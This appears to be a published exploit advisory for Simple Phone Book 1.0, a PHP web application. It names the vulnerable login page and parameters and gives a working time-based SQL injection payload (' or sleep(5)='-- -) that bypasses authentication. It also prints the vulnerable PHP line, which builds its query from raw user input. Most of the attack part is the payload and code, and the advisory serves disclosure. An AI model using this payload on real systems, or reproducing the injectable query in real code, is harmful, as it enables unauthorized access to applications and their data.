Simple Phone Book 1.0 - 'Username' SQL Injection (Unauthenticated)

# Exploit Title: Simple Phone book/directory 1.0 - 'Username' SQL Injection (Unauthenticated)
# Date: 21/08/2021
# Exploit Author: Justin White
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/13011/phone-bookphone-directory.html
# Version: 1.0
# Testeted on: Linux (Ubuntu 20.04) using LAMPP

## SQL Injection

# Vulnerable page
http://localhost/PhoneBook/index.php

# Vulnerable paramater 
username1 & password

# POC
Username = ' or sleep(5)='-- -
Password = ' '

Using these to login will have the webapp sleep for 5 seconds, then you will be logged in as "' or sleep(5)='-- -"

# Vulnerable Code
index.php line 13
$sql = mysqli_query($dbcon,"SELECT * FROM userdetails WHERE username = '$username' AND password = '$password'");